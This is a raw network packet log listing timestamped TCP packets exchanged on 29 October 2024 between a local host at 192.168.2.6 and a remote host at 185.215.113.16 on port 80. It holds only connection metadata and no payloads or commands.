Oct 29, 2024 20:45:02.389097929 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.389110088 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.389132023 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.389350891 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.389389992 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.389417887 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.389430046 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.389452934 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.389555931 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.389566898 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.389576912 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.389592886 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.389720917 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.389733076 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.389744997 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.389753103 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.389776945 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.390304089 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.390474081 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.390485048 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.390507936 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.390530109 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.390542984 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.390563011 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.390734911 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.390752077 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.390769005 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.392990112 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.393034935 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.393579006 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.431448936 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.431472063 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.431484938 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.431529999 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.431529999 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.481915951 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.481946945 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.481959105 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.482079983 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.502041101 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.502068996 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.502079964 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.502170086 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.502173901 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.502182961 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.502193928 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.502248049 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.502599955 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.502636909 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.502695084 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.502706051 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.502738953 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.504781961 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.504801989 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.504812956 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.504838943 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.505131006 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.505167007 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.505192995 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.505204916 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.505238056 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.505398035 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.505409002 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.505422115 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.505434990 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.505445957 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.505466938 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.505676985 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.505688906 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.505700111 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.505713940 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.505721092 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.505753040 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.506377935 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.506441116 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.506453037 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.506480932 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.506599903 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.506612062 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.506623983 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.506634951 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.506660938 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.506860018 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.506870985 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.506882906 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.506896973 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.506910086 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.506911039 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.506943941 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.507448912 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.507462025 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.507500887 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.547136068 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.547185898 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.547198057 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.547233105 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.547271013 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.547322989 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.547355890 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.547398090 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.547400951 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.597410917 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.597456932 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.597470999 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.597510099 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.597551107 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.617724895 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.617794037 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.617805958 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.617841005 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.617856979 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.617870092 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.617896080 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.618022919 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.618035078 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.618052006 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.618062973 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.618087053 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.620096922 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620166063 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620177984 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620210886 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620213985 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.620248079 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.620328903 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620341063 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620381117 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.620469093 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620554924 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620567083 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620605946 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.620687962 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620697975 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620731115 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.620769024 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620779991 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620810986 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.620891094 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620918036 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.620927095 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.620929003 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.621656895 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.621794939 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.621808052 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.621844053 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.621910095 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.621921062 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.621967077 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.621982098 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.621994019 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.622026920 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.622109890 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.622122049 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.622160912 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.622190952 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.622252941 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.622337103 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.622349024 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.622376919 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.622395992 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.622564077 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.622575998 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.622627020 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.622673988 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.622684956 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.622694969 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.622731924 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.663829088 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.663850069 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.663865089 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.663942099 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.663997889 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.664144993 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.664166927 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.664203882 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.713274002 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.713289976 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.713303089 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.713366985 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.733458042 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.733505011 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.733516932 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.733587027 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.733592033 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.733598948 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.733644962 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.733715057 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.733727932 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.733762980 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.733814955 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.735651016 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.735713959 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.735728025 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.735764027 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.735799074 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.735801935 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.735869884 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.735881090 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.735903978 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.736061096 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.736095905 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.736104012 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.736176014 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.736186981 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.736197948 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.736219883 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.736243010 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.736452103 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.736538887 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.736548901 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.736574888 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.736632109 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.736664057 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.736711979 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.736815929 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.736826897 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.736836910 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.736860037 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.736881971 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.737507105 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.737598896 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.737610102 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.737634897 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.737710953 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.737721920 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.737732887 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.737745047 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.737751961 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.737777948 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.738092899 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.738104105 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.738115072 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.738125086 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.738137007 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.738156080 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.738255024 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.738265991 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.738276958 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.738296032 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.738318920 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.779505014 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.779546976 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.779558897 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.779604912 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.779644012 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.779654980 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.779666901 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.779694080 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.779711008 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.829547882 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.829585075 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.829627037 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.830521107 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.849138021 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.849220037 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.849235058 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.849281073 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.849284887 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.849298000 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.849327087 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.849473953 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.849487066 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.849498034 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.849513054 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.849543095 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.849673986 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.849692106 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.849704981 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.849730015 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.851603031 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.851644993 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.851655006 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.851689100 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.851702929 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.851752043 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.851835966 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.851849079 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.851866007 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.851876974 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.851877928 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.851916075 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.852137089 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.852149010 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.852159023 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.852181911 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.852191925 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.852251053 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.852370024 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.852380991 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.852411985 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.852451086 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.852459908 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.852471113 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.852477074 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.852504969 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.852531910 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.852670908 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.852682114 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.852718115 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.853271008 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.853328943 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.853352070 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.853363991 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.853398085 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.853487015 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.853497982 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.853645086 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.853656054 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.853667021 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.853677034 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.853688955 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.853693008 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.853713989 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.853735924 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.853949070 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.853991032 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.854027987 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.854038954 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.856280088 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.895036936 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.895072937 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.895085096 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.895116091 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.895140886 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.895162106 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.895174026 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.895237923 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.895325899 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.895339012 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.895373106 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.895425081 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.964907885 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.965006113 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.965019941 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.965104103 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.965151072 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.965464115 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.965509892 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.965522051 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.965554953 CET	62424	80	192.168.2.6	185.215.113.16
